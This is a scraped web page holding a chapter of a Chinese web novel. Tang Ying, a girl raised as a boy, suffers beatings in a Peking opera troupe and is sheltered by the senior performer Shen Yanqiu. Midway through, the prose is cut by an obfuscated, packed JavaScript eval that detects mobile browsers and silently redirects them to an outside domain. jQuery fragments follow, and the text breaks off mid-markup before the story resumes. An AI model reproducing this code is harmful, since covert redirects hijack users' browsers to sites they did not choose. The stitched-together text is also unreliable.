北平，冬天
——沙坪县马庄
“你还敢跑，老子供你吃供你喝”
一个瘦弱的身型，被木棍架在雪里，分不清这是第几次出逃被抓后被打，围观的人唏嘘，他为什么要跑啊。
“我不学”那张英气的脸露着执拗。
唐英咬牙跪在雪里，头顶着一碗水，鼻间散发着的白雾，将眼前的视线笼罩，眉间雪透过体温，融化在挺拔的鼻尖上，院子里白茫茫一片，雪层已经盖过膝弯，又不断被新雪覆盖，头顶的碗已经堆起一个小雪山，但背脊依旧挺得直直得，指尖皲破，鲜红的血融进碗里，那碗中的雪似乎成了一朵绽放在寒冬的桃花。
“不学是吧”赵春堂的马鞭落在清瘦的背上，“老子捡你回来不是让你当祖宗的，生来就是贱种，学戏是抬举你”
唐英十五岁，离开表面风光无限的岭南老宅，一路北上，却遇土匪抢劫，金银细软都被洗劫一空，貌美的余怀兰自然而然被押回山寨。
幸而趁机逃出土匪窝，却因体力透支落在了狼窝，北方的雪不比岭南，积雪压檐，重如铅石，冰天雪地里她被一位面若桃花的戏子救下，唐英最讨厌的就是戏子，她们轻浮，浪荡，为了博名利毫无底线，戏子是最卑贱的出生，就像余怀兰为了在唐家博得一席之地，不惜怀上那人的子嗣，还是双生子，双生子是不祥之兆，如果被唐家知道，余怀兰不仅进不了门，就连孩子都保不住，但余怀兰却高兴坏了，就像赌场押宝，她可以压两个。
为了以防万一，余怀兰自请离开北平，去往岭南，以示弱得到了唐仁的怜爱。岭南是唐家老宅茶业园基地，余怀兰不知道用了什么通天的手段，从京城名角摇身变成了岭南茶业会员，一手烹茶技艺广获茶商欢迎。只是唐英落地了，是个女孩，而男婴死了，但她并没有放弃自己的野心，为了稳坐五姨太的位置，向外谎称生的是男孩。
唐英曾亲眼见过余怀兰坐在会长怀里烹茶，唱着不知名的曲调，后来才知道那是淫词烂语，她一直被余怀兰当成男孩养，从心理再到生理，行为举止甚至是上厕所都是按照男孩的标准要求。可笑的是，余怀兰为了让她变成男人，寻医问药，从怀孕到一年前，唐英喝过无数的汤药，符水，泡过无数的药浴，似乎这样能让不存在的东西长出来似的。
余怀兰总是一边咒骂那些男人薄情寡义，见一个爱一个，却倾慕他的财权，要求她成为男人，要求她讨好那个所谓的父亲。简直是可笑极了，怎么会有人明明那么恨一个人，却还要在他面前摇尾乞怜。
如今，唐英的非人生活结束了，她终于从余怀兰病态的控制欲中解脱，她放声大笑，惊落枝头厚重的雪，砸在连富社的井里。
众人小声议论，这怕不是和沈师兄一样鬼上身了吧。
赵春堂恼羞成怒，落下的鞭子又扬起，“老子，是看你长得好，让你登台”
极差的布料被马鞭打烂，瘦弱的脊背上满布陈旧的疤痕，微微弯折的背露出棘突，很快随着脊背的挺直而消失。
赵春堂啐了口唾沫在手上继续挥着鞭子，彼时唐英已经在外跪了三个时辰，连廊的人默不作声，没有人敢出头惹他不快，除了唐英边挨打，边还嘴，离开了余怀兰犹如一匹脱缰回归草场的野马。
赵春堂已经是花甲之年，戏社内指望着两个台柱子，但台柱子如今也快倒下了。
连福社的梨园玉树想跑路，也就是赵春堂养的小徒弟，赵春堂这些年一边堤防着他，养新人，一边好吃好喝地像祖宗似的供着他，听说这位程师兄找了个后台，这不元宵唱完就走，赵春堂想拦也拦不住。
在这的，大都是赵春堂买回来的，或者是没钱送进来的，不论那种，要么熬出头，要么就是等着老死，否则没人能逃出这片天。
“小兔崽子，你唱不唱”
“不...”
头顶的碗砸在雪里，鲜红的雪在一地莹白中显得格外刺眼，眼前突然漆黑一片，耳边似乎还能听见赵春堂的声音：让他躺在这，谁也不准放他进屋。
天寒地冻，鹅毛飞雪铺在地面上，将艳红色渐渐抹去，雪地里隆起一块儿小突起，像是冬天里的孤坟野冢，无人问津。
唐英时常在想为什么就不能托生在普通人家，而非要在余怀兰的肚子里。不仅是同龄人嫌弃她，就连她自己都嫌弃自己，红裙不是红裙，绿衣不是绿衣。
今日是元宵节，转眼唐英离开岭南半年了，在这戏班里待了快一年。大红灯笼上的铜板被风掀起，发出沉闷声，连廊里围观了一群人，那些都是赵春堂捡回来的孩子，包括唐英。
子时未至，唐英以为自己冷出幻觉了，周身被裹得暖洋洋的，炭火炸裂声响起，她缓缓睁开眼睛，环视房内的摆设，和她住的阴暗潮湿的大通铺有所不同，屋内陈设着各种各样的面首饰品，身上盖着暖融鸭炉衾，灯火摇曳，双臂却被勒得生疼。
“小五，别乱动”
唐英忽然瞪大双眼，看着面前尚未卸妆的面庞，一颗红痣夹在发际边，她挣着将人推开。双手被油乎乎的纱布缠绕，里面又暖又痒，忍不住抓挠。
“小五，刚上过药，别抓了”
唐英这才反应过来，那是个男人是在叫自己，在这里唐英没有自己的名字，按照进戏班的顺序，她叫小五。她错愕地盯着男人，摸了摸新换的裤子，眼神里透露着惊恐，男人和她正光溜地睡在一个被子里，“沈言秋？”
沈言秋是一个存在感很低，却又不容忽视的存在，唐英除了吃堂饭的时候见过他，其他时候根本就见不到人，说恃才自傲也好，还是性情古怪也罢，总之不熟。虽不常见面，但对他的八卦乱记于心的。
她突然弹开一米远瞪着他，怕的不是男女大防，而是被识破女扮男装的身份，这里距离北平很近，意味着距离唐公馆不远，总有伺机而动的人盯着她。
沈言秋散落的长发掉在炕外，露出光溜的肩膀，心慌意乱之际顾不得礼法，唐英连忙套上自己的衣服，跳下床。
“小六，快把药送进来”
沈言秋将锦被叠起来，放进箱子里开始卸妆，随即又想起什么，又将箱子打开，将两床新被子都铺在床上，这时一个与她一般瘦弱的男孩端着一碗热汤进来了。
“小五，你膝盖还能站起来？”
不说还好，说完唐英就觉得膝弯刺痛酸软，直直地跪了去，疼得她眼冒金星。沈言秋长手一捞，将人抱回床上，又加了些炭火，塞了个手炉给她。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459899|169711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“师傅都不让我们救你，幸亏师兄回来了，否则你早就没命了”小六艳羡道。“还是师兄好，连准备娶媳妇用的新被子都给你用了，我们都没睡过呢”
唐英端着热汤，摸着手里暖被，瞥了一眼，坐在镜前的卸了妆的人，她不明白怎么会有男人去唱女人的角，和她一样打扮得容貌不恭，阴阳不辨。
“这几日，就待在我房内，师傅不会说什么的”
唐英淡淡地哦了声，打量着他，倒不是她对沈言秋有偏见，而是有了余怀兰这个前车之鉴，她着实对戏子有什么好印象。
沈言秋能唱旦角，自然有自己的优势，身形和身量比男子纤细，就连那嗓音都是清脆的，化上戏妆后根本分不清男女，除了喉结，唐英摸着自己脖颈上的小凸起，她开始怀疑余怀兰成功了，不禁升起一股恶寒。
“又发烧了？”沈言秋将手搭在她的额头上关心道。
“恶心”唐英冷着脸，将人的手击落，撇开身子。
“小五，你怎么这么说师兄”小六指着她骂道，“你个小没良心的，亏得师兄救你”
沈言秋卸妆的手顿了一秒，也不恼，递给他们一人一颗糖，说吃完就不恶心了，唐英有时候挺佩服沈言秋的，什么想听，什么不听，都随自己的心情。
本以为沈言秋会当赵春堂的说客，劝她好好学戏，毕竟听那些同门都是这么大赌的，沈言秋却什么也没说。
唐英在沈言秋这儿宿了快一个月，开始明白了，在戏社，有价值能赚钱，才能吃得好穿得暖。她开始学会看人眼色，学会看沈言秋的眼色，比如谁想约他见面吃饭，沈言秋明明不高兴不想去，但是迫于赵春堂的威逼，他还是去了，又比如谁家邀他去唱戏，他拒绝了，可赵春堂还是将人送去了，只是回来的时候难免也会挂着伤，她又发现了，在戏社里不挨打，在外面也有可能会挨打，但是待在沈言秋这里不会挨打。
在这个更代的敏感时期，不让男人留长头发，唐英将自己的头发剪了，剪坏了，又将沈言秋的头发也剪了，又剪坏了，沈言秋只是笑笑不说话。
有时候她实在看不过眼，忍受不了沈言秋低三下四的窝囊废模样，帮他上药的时候都会故意重上几分，但沈言秋从来都不喊痛。上完药，唐英就裹着沈言秋的新被子窝在炕上看小人书，沈言秋就在一旁看戏本。
沈言秋不喜欢笑，淡淡的，当然也不会哭，或者说她从来都没见过他哭，但是他待戏班的师弟都很好。所以当听到那个恶贯满盈的地主请他去唱戏的时候，全戏班的人都去求师傅了，当然唐英没去，唐英腿脚不便，躺在床上睡大觉。
酉时一过，沈言秋开始准备收拾行头了。
“沈言秋，你干什么去？”唐英见他坐在镜子前装点首饰。
那位土地主的名声不知道有多臭，十几房小妾，屋内还养着小倌，多少戏子站着进去的，横着出来，可赵春堂不管，只要钱管够，让他自己去，说不定都愿意，更何况戏班里还有这么多徒弟。
“叫师兄，没大没小”沈言秋将口袋里的糖果放在枕边，提着东西就准备走，窗外的驴车已经在催了。
唐英翘着二郎腿，姿态散漫剥开糖纸，将糖扔进嘴里，啧，今天的糖有点酸。